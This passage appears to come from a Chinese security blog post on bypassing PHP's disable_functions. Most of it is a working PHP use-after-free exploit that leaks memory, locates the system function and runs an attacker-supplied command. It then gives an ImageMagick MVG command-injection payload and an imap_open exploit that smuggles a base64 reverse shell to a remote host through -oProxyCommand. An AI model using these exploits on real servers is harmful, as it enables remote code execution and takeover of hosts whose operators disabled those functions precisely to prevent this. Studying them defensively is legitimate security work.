$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
ImageMagick
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";
function AAAA(){
$command = 'curl 127.0.0.1:7777';
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
}
AAAA();
?>
imap_open RCE漏洞
<?php
$payload = "/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1";
$base64 = base64_encode($payload);
$server = "any -oProxyCommand=echot{$base64}|base64t-d|bash";
@imap_open("{".$server."}:143/imap}INBOX","","");
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下期表哥们的干货已经在等你了
原文始发于微信公众号（SKSEC）：【表哥有话说 第77期】bypass disable_functions
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